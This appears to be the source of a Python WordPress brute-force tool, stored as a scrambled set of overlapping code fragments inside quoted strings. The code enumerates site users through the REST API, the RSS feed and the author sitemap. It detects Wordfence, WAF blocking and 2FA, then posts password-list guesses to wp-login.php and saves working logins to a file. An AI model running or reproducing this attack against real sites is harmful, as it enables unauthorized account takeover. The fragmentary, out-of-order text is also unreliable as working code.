In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers", "which method to enumerate users from method = \"None\" attempts", "thisuser.split('/') user = h[4] cnt = 1 with open(passfile, 'r')", "[-]\") return False elif response.status_code == 200: jsonstr = json.loads(response.content)", "in open(\"rssusers.txt\", \"r\"): if line not in lines_seen: outfile.write(line) lines_seen.add(line)", "(url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user", "def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "# Check we can get to wp-admin login. def check_wpadmin(url):", "this limits the logins to 20 per ip def check_wordfence(url):", "method to grab usernames from [-]\") sys.exit(0) if check_wordfence(url): print", "Users found via RSS Feed [+]\") method = \"rss\" if", ",help=\"Password File\") args = parser.parse_args() url = args.url passfile =", "check_is_wp(url): if check_wpadmin(url): return True else: return False else: return", "default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\") args", "def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "By @random_robbie # # import requests import json import sys", "403: print(\"[-] Website is giving 403 HTTP Status - WAF", "return False # Check if wordfence is installed as this", "1 f.close() return str(count) # Dont no body like dupes.", "= \"None\" attempts = \"None\" # Which method to use", "== 404: print (\"[-] Rest API Endpoint returns 404 Not", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security -", "if \"reCAPTCHA\" not in response.text: return True else: return False", "== 502: print(\"[-] Website is giving 502 HTTP Status [-]\")", "response.status_code == 404: return False elif response.status_code == 200: return", "= test_login (url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata)", "sys.exit(0) paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "thisuser = user[1] h = thisuser.split('/') user = h[4] cnt", "# Dont no body like dupes. def remove_dupes(): lines_seen =", "is missing or not readable [-]\") sys.exit(0) # Method Value", "print (\"[-] Oh Shit it seems I was unable to", "default=\"pass.txt\" ,help=\"Password File\") args = parser.parse_args() url = args.url passfile", "= session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return False", "{\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"}", "\"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found Login Username: \"+user+\" Password: \"+password+\"", "'rest_user_cannot_view' in response.text: print (\"[-] REST API Endpoint Requires Permissions", "help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\") args =", "print(\"[+] Users found via Rest API [-]\") method = \"restapi\"", "API Endpoint returns 404 Not Found [-]\") return False elif", "line in f: password = line.strip() cnt = test_login (url,user,password,cnt,attempts)", "1 with open(passfile, 'r') as f: for line in f:", "Method Value for which method to enumerate users from method", "= {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects =", "like dupes. def remove_dupes(): lines_seen = set() outfile = open(\"users.txt\",", "\"+password+\" on attempt \"+str(cnt)+\" [+]\") text_file = open(\"found.txt\", \"a\") text_file.write(\"\"+url+\"", "if response.status_code == 503: print(\"[-] Website is giving 503 HTTP", "\"+user+\" [+]\")) with open(passfile, 'r') as f: for line in", "if \"dc:creator\" in response.text: return response.text # Check we can", "\"\" proxyDict = { \"http\" : http_proxy, \"https\" : http_proxy,", "is installed this will limit the testing to 20 attempts", "else: print(\"[-] Either the file is missing or not readable", "attempt \"+str(cnt)+\" [-]\") cnt += 1 return cnt def count_pass(passfile):", "with open(passfile, 'r') as f: for line in f: count", "= re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth: thisuser = user[1] h", "Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code ==", "def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "sys.exit(0) if response.status_code == 502: print(\"[-] Website is giving 502", "= { \"http\" : http_proxy, \"https\" : http_proxy, \"ftp\" :", "= id['slug'] cnt = 1 print((\"[+] Found User: \"+user+\" [+]\"))", "[+]\")) with open(passfile, 'r') as f: for line in f:", "not in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id", "'r') as f: for line in f: user = line.strip()", "open(passfile, 'r') as b: for line in b: password =", "h[4] cnt = 1 with open(passfile, 'r') as f: for", "attempts [+]\") attempts = \"20\" # Kick off Parsing and", "Scan\" in response.text: return True else: return False # Test", "print(\"[-] 2FA is enabled Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\" in", "# Kick off Parsing and attacking if method == \"restapi\":", "jsonstr # Grab Wordpress Users via Sitemap def grab_users_sitemap(url): headers", "attacking if method == \"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if", "Some Machine Learning Quality IF statements. def basic_checks(url): if check_is_wp(url):", "os.remove(\"rssusers.txt\") if os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in users: u =", "= grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method == \"rss\": userdata = grab_users_rssfeed(url)", "else: return False if basic_checks(url): print(\"[+] Confirmed Wordpress Website [+]\")", "RSS Feed [+]\") method = \"rss\" if grab_users_sitemap(url) and method", "502 HTTP Status [-]\") sys.exit(0) if response.status_code == 403: print(\"[-]", "is giving 502 HTTP Status [-]\") sys.exit(0) if response.status_code ==", "print((\"[+] Found User: \"+user+\" [+]\")) with open(passfile, 'r') as b:", "Found User: \"+user+\" [+]\")) with open(passfile, 'r') as b: for", "Bruteforce Tool # # By @random_robbie # # import requests", "#!/usr/bin/env python # # Wordpress Bruteforce Tool # # By", "def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "Wordpress Bruteforce Tool # # By @random_robbie # # import", "print (\"[-] Rest API Endpoint returns 404 Not Found [-]\")", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in response.text:", "giving 502 HTTP Status [-]\") sys.exit(0) if response.status_code == 403:", "can get to wp-admin login. def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0", "= 1 with open(passfile, 'r') as f: for line in", "Value for which method to enumerate users from method =", "(Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"}", "for which method to enumerate users from method = \"None\"", "response.text # Grab Wordpress Users via RSS Feed def grab_users_rssfeed(url):", "test_login (url,user,password,cnt,attempts): if str(cnt) == attempts: print(\"[-] Stopping as Wordfence", "return False else: return False if basic_checks(url): print(\"[+] Confirmed Wordpress", "== \"None\": print (\"[-] Oh Shit it seems I was", "== 200: jsonstr = json.loads(response.content) return jsonstr # Grab Wordpress", "with open(passfile, 'r') as b: for line in b: password", "= parser.parse_args() url = args.url passfile = args.file http_proxy =", "def remove_dupes(): lines_seen = set() outfile = open(\"users.txt\", \"w\") for", "URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\") args = parser.parse_args()", "= test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users = re.compile(\"<dc:creator><!(.+?)]]></dc:creator\").findall(userdata) if", "Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found Login", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\",", "print(\"[+] Password List Used: \"+passfile+\" [+]\") else: print(\"[-] Either the", "f: for line in f: user = line.strip() cnt =", "enumerate users from method = \"None\" attempts = \"None\" #", "found via Authors Sitemap [-]\") method = \"sitemap\" if method", "attack_restapi(url,attempts,userdata,passfile): for id in userdata: user = id['slug'] cnt =", "code\" in response.text: print(\"[-] 2FA is enabled Sorry [-]\") sys.exit(0)", "Found Login Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\")", "False else: return False else: return False # Check URL", "unable to find a method to grab usernames from [-]\")", "parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\"", "in response.text: return True else: return False else: return False", "{\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers, cookies=cookies,verify=False, proxies=proxyDict,allow_redirects = False)", "= session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict) if 'rest_user_cannot_view' in response.text: print (\"[-]", "404: return False elif response.status_code == 200: if \"dc:creator\" in", "blocking wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+]", "f.close() return str(count) # Dont no body like dupes. def", "print(\"[+] Found Login Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\"", "Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\") cnt +=", "import sys import argparse import re import os.path from requests.packages.urllib3.exceptions", "test_login (url,user,password,cnt,attempts) f.close() b.close() def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for", "ip def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "parser.parse_args() url = args.url passfile = args.file http_proxy = \"\"", "b.close() def attack_sitemap(url,attempts,userdata,passfile): auth = re.findall(r'(<loc>(.*?)</loc>)\\s',userdata) for user in auth:", "attack_restapi(url,attempts,userdata,passfile) if method == \"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if", "check_is_wp(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\",", "text_file.write(\"\"+url+\" Found Login Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else:", "cnt = 1 with open(passfile, 'r') as f: for line", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\",", "user in auth: thisuser = user[1] h = thisuser.split('/') user", "# Method Value for which method to enumerate users from", "= argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\", \"--file\",", "session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return False elif", "is giving 403 HTTP Status - WAF Blocking[-]\") sys.exit(0) if", "Users found via Authors Sitemap [-]\") method = \"sitemap\" if", "the logins def test_login (url,user,password,cnt,attempts): if str(cnt) == attempts: print(\"[-]", "import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\",", "# Test the logins def test_login (url,user,password,cnt,attempts): if str(cnt) ==", "with open(\"users.txt\", 'r') as f: for line in f: user", "Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\",", "by WordPress\" in response.text: if \"wp-submit\" in response.text: if \"reCAPTCHA\"", "sys.exit(0) if os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+] Password List Used:", "is enabled Sorry [-]\") sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+]", "sys.exit(0) if check_wordfence(url): print (\"[+] Wordfence is installed this will", "\"rss\" if grab_users_sitemap(url) and method == \"None\": print(\"[+] Users found", "headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0)", "Wordfence will block your IP [-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log", "Wordpress Users via Wordpress JSON api def grab_users_api(url): headers =", "# By @random_robbie # # import requests import json import", "== 200: return response.text # Grab Wordpress Users via RSS", "grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;", "Sitemap def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "f: count += 1 f.close() return str(count) # Dont no", "proxies=proxyDict) if \"wp-content\" in response.text: return True else: return False", "user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\",", "is a issue blocking wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile) and", "and attacking if method == \"restapi\": userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile)", "Parsing and attacking if method == \"restapi\": userdata = grab_users_api(url)", "id in userdata: user = id['slug'] cnt = 1 print((\"[+]", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-login.php?reauth=1&jetpack-sso-show-default-form=1\", headers=headers,verify=False, proxies=proxyDict) if \"Powered", "= False) if response.status_code == 503: print(\"[-] Website is giving", "in response.text: print(\"[-] 2FA is enabled Sorry [-]\") sys.exit(0) if", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False,", "giving 503 HTTP Status [-]\") sys.exit(0) if response.status_code == 502:", "text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\", 'r')", "API [-]\") method = \"restapi\" if grab_users_rssfeed(url) and method ==", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\"", "print (\"[-] Sorry this is either not a wordpress website", "grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method == \"sitemap\": userdata = grab_users_sitemap(url) attack_sitemap(url,attempts,userdata,passfile)", "response.text: return True else: return False # Check if wordfence", "Oh Shit it seems I was unable to find a", "to enumerate users from method = \"None\" attempts = \"None\"", "return True else: return False else: return False else: return", "[-]\") sys.exit(0) if \"wordpress_logged_in\" in response.headers['Set-Cookie']: print(\"[+] Found Login Username:", "sys import argparse import re import os.path from requests.packages.urllib3.exceptions import", "method = \"rss\" if grab_users_sitemap(url) and method == \"None\": print(\"[+]", "True else: return False # Check if wordfence is installed", "from method = \"None\" attempts = \"None\" # Which method", "logins def test_login (url,user,password,cnt,attempts): if str(cnt) == attempts: print(\"[-] Stopping", "response.text # Check we can get to wp-admin login. def", "Grab Wordpress Users via RSS Feed def grab_users_rssfeed(url): headers =", "if \"wp-content\" in response.text: return True else: return False #", "requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\")", "File\") args = parser.parse_args() url = args.url passfile = args.file", "= session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404: return False", "404: return False elif response.status_code == 200: return response.text #", "Which method to use for enumeration if grab_users_api(url): print(\"[+] Users", "return response.text # Check we can get to wp-admin login.", "[-]\") sys.exit(0) if response.status_code == 502: print(\"[-] Website is giving", "via Sitemap def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence Security - Firewall & Malware", "if \"Google Authenticator code\" in response.text: print(\"[-] 2FA is enabled", "Machine Learning Quality IF statements. def basic_checks(url): if check_is_wp(url): if", "Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response =", "Grab Wordpress Users via Sitemap def grab_users_sitemap(url): headers = {\"User-Agent\":\"Mozilla/5.0", "IP [-]\") sys.exit(0) paramsPost = {\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0", "return False elif response.status_code == 200: return response.text # Grab", "proxyDict = { \"http\" : http_proxy, \"https\" : http_proxy, \"ftp\"", "print((\"[+] Found User: \"+user+\" [+]\")) with open(passfile, 'r') as f:", "{\"wp-submit\":\"Log In\",\"pwd\":\"\"+password+\"\",\"log\":\"\"+user+\"\",\"testcookie\":\"1\",\"redirect_to\":\"\"+url+\"/wp-admin/\"} headers = {\"Origin\":\"\"+url+\"\",\"Accept\":\"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\"Upgrade-Insecure-Requests\":\"1\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X", "Sitemap [-]\") method = \"sitemap\" if method == \"None\": print", "in response.text: if \"wp-submit\" in response.text: if \"reCAPTCHA\" not in", "if response.status_code == 502: print(\"[-] Website is giving 502 HTTP", "elif response.status_code == 200: if \"dc:creator\" in response.text: return response.text", "to find a method to grab usernames from [-]\") sys.exit(0)", "Firewall & Malware Scan\" in response.text: return True else: return", "response.status_code == 503: print(\"[-] Website is giving 503 HTTP Status", "f: user = line.strip() cnt = 1 print((\"[+] Found User:", "\"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with open(\"users.txt\", 'r') as f: for", "[+]\") else: print(\"[-] Either the file is missing or not", "wp-admin [-]\") sys.exit(0) if os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+] Password", "print(\"[-] Website is giving 502 HTTP Status [-]\") sys.exit(0) if", "Wordpress JSON api def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel", "= user.replace(\"[CDATA[\",\"\") text_file = open(\"rssusers.txt\", \"a\") text_file.write(\"\"+str(u)+\"\\n\") text_file.close() remove_dupes() with", "[-]\") sys.exit(0) if response.status_code == 403: print(\"[-] Website is giving", "OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"\", headers=headers,verify=False,", "if response.status_code == 404: print (\"[-] Rest API Endpoint returns", "Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\") text_file = open(\"found.txt\", \"a\")", "= 0 with open(passfile, 'r') as f: for line in", "response.headers['Set-Cookie']: print(\"[+] Found Login Username: \"+user+\" Password: \"+password+\" on attempt", "for line in f: count += 1 f.close() return str(count)", "as f: for line in f: user = line.strip() cnt", "\"+passfile+\" [+]\") else: print(\"[-] Either the file is missing or", "readable [-]\") sys.exit(0) # Method Value for which method to", "\"None\": print(\"[+] Users found via Authors Sitemap [-]\") method =", "login. def check_wpadmin(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "jsonstr = json.loads(response.content) return jsonstr # Grab Wordpress Users via", "Users via Wordpress JSON api def grab_users_api(url): headers = {\"User-Agent\":\"Mozilla/5.0", "will limit the testing to 20 attempts [+]\") attempts =", "[-]\") sys.exit(0) if os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+] Password List", "os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session = requests.Session() parser", "Website [+]\") else: print (\"[-] Sorry this is either not", "Check if wordfence is installed as this limits the logins", "if line not in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile):", "import requests import json import sys import argparse import re", "HTTP Status - WAF Blocking[-]\") sys.exit(0) if \"Google Authenticator code\"", "Rest API Endpoint returns 404 Not Found [-]\") return False", "per ip def check_wordfence(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac", "Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-] Login Failed for Username:", "in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for id in", "return True else: return False else: return False if basic_checks(url):", "Failed for Username: \"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [-]\")", "[+]\") attempts = \"20\" # Kick off Parsing and attacking", "Feed [+]\") method = \"rss\" if grab_users_sitemap(url) and method ==", "Status - WAF Blocking[-]\") sys.exit(0) if \"Google Authenticator code\" in", "= {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101", "if method == \"rss\": userdata = grab_users_rssfeed(url) attack_rssfeed(url,attempts,userdata,passfile) if method", "== 200: if \"dc:creator\" in response.text: return response.text # Check", "Found Login Username: \"+user+\" Password: \"+password+\"\\n\") text_file.close() sys.exit(0) else: print(\"[-]", "Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response = session.post(\"\"+url+\"/wp-login.php?redirect_to=\"+url+\"/wp-admin/\", data=paramsPost, headers=headers,", "Rest API [-]\") method = \"restapi\" if grab_users_rssfeed(url) and method", "session = requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\",", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if", "line in f: user = line.strip() cnt = 1 print((\"[+]", "Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/author-sitemap.xml\", headers=headers,verify=False, proxies=proxyDict) if response.status_code == 404:", "- WAF Blocking[-]\") sys.exit(0) if \"Google Authenticator code\" in response.text:", "\"restapi\" if grab_users_rssfeed(url) and method == \"None\": print(\"[+] Users found", "Feed def grab_users_rssfeed(url): headers = {\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS", "args.url passfile = args.file http_proxy = \"\" proxyDict = {", "was unable to find a method to grab usernames from", "404: print (\"[-] Rest API Endpoint returns 404 Not Found", "[-]\") return False if response.status_code == 404: print (\"[-] Rest", "proxies=proxyDict) if \"Wordfence Security - Firewall & Malware Scan\" in", "== \"None\": print(\"[+] Users found via RSS Feed [+]\") method", "sys.exit(0) if \"Google Authenticator code\" in response.text: print(\"[-] 2FA is", "1 return cnt def count_pass(passfile): count = 0 with open(passfile,", "method == \"None\": print(\"[+] Users found via Authors Sitemap [-]\")", "os.path.exists(\"users.txt\"): os.remove(\"users.txt\") for user in users: u = user.replace(\"[CDATA[\",\"\") text_file", "re import os.path from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) session =", "else: return False else: return False else: return False #", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-json/wp/v2/users\", headers=headers,verify=False, proxies=proxyDict)", "\"w\") for line in open(\"rssusers.txt\", \"r\"): if line not in", "userdata = grab_users_api(url) attack_restapi(url,attempts,userdata,passfile) if method == \"rss\": userdata =", "f: password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() #", "= requests.Session() parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress", "json import sys import argparse import re import os.path from", "for line in f: password = line.strip() cnt = test_login", "response.status_code == 200: jsonstr = json.loads(response.content) return jsonstr # Grab", "(url,user,password,cnt,attempts): if str(cnt) == attempts: print(\"[-] Stopping as Wordfence will", "Users found via Rest API [-]\") method = \"restapi\" if", "WAF Blocking[-]\") sys.exit(0) if \"Google Authenticator code\" in response.text: print(\"[-]", "check_wpadmin(url): return True else: return False else: return False if", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response", "line not in lines_seen: outfile.write(line) lines_seen.add(line) outfile.close() def attack_restapi(url,attempts,userdata,passfile): for", "rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/wp-content/plugins/wordfence/readme.txt\", headers=headers,verify=False, proxies=proxyDict) if \"Wordfence", "# Wordpress Bruteforce Tool # # By @random_robbie # #", "if 'rest_user_cannot_view' in response.text: print (\"[-] REST API Endpoint Requires", "method == \"None\": print (\"[-] Oh Shit it seems I", "response.status_code == 404: return False elif response.status_code == 200: if", "== 404: return False elif response.status_code == 200: if \"dc:creator\"", "@random_robbie # # import requests import json import sys import", "f: password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() def", "- Firewall & Malware Scan\" in response.text: return True else:", "WordPress\" in response.text: if \"wp-submit\" in response.text: if \"reCAPTCHA\" not", "sys.exit(0) else: print(\"[-] Login Failed for Username: \"+user+\" Password: \"+password+\"", "os.path.isfile(passfile) and os.access(passfile, os.R_OK): print(\"[+] Password List Used: \"+passfile+\" [+]\")", "Authenticator code\" in response.text: print(\"[-] 2FA is enabled Sorry [-]\")", "parser = argparse.ArgumentParser() parser.add_argument(\"-u\", \"--url\", required=True, default=\"http://wordpress.lan\", help=\"Wordpress URL\") parser.add_argument(\"-f\",", "Not Found [-]\") return False elif response.status_code == 200: jsonstr", "method == \"None\": print(\"[+] Users found via RSS Feed [+]\")", "= session.get(\"\"+url+\"\", headers=headers,verify=False, proxies=proxyDict) if \"wp-content\" in response.text: return True", "as Wordfence will block your IP [-]\") sys.exit(0) paramsPost =", "return False # Check URL is wordpress def check_is_wp(url): headers", "and method == \"None\": print(\"[+] Users found via Authors Sitemap", "as f: for line in f: count += 1 f.close()", "check_wordfence(url): print (\"[+] Wordfence is installed this will limit the", "10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept-Language\":\"en-US,en;q=0.5\",\"Accept-Encoding\":\"gzip, deflate\",\"Content-Type\":\"application/x-www-form-urlencoded\"} cookies = {\"wordpress_test_cookie\":\"WP+Cookie+check\"} response =", "in auth: thisuser = user[1] h = thisuser.split('/') user =", "open(passfile, 'r') as f: for line in f: count +=", "X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0\",\"Connection\":\"close\",\"Accept\":\"*/*\"} response = session.get(\"\"+url+\"/feed/\", headers=headers,verify=False, proxies=proxyDict)", "print(\"[-] Stopping as Wordfence will block your IP [-]\") sys.exit(0)", "(\"[-] Sorry this is either not a wordpress website or", "API Endpoint Requires Permissions [-]\") return False if response.status_code ==", "parser.add_argument(\"-f\", \"--file\", required=True, default=\"pass.txt\" ,help=\"Password File\") args = parser.parse_args() url", "= line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() def attack_rssfeed(url,attempts,userdata,passfile): users", "200: return response.text # Grab Wordpress Users via RSS Feed", "\"+user+\" Password: \"+password+\" on attempt \"+str(cnt)+\" [+]\") text_file = open(\"found.txt\",", "b: password = line.strip() cnt = test_login (url,user,password,cnt,attempts) f.close() 